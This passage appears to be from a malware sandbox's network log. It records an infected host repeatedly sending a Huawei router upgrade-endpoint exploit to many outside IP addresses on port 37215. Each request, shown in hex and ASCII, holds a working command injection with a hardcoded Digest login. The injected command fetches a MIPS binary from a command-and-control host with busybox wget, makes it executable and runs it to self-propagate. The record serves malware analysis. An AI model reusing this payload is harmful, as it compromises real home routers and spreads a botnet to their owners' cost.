6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	35346	156.246.199.50	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580497026 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	48434	41.179.81.67	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580518961 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	41516	41.242.140.198	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580549955 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	45478	41.145.216.112	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580590010 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	48604	197.27.59.110	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580627918 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	39366	156.246.55.201	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580656052 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	35816	156.75.251.173	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580718994 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	45506	41.70.233.248	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580739975 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	59594	197.53.233.6	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580761909 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	56832	156.234.225.254	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580806017 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r 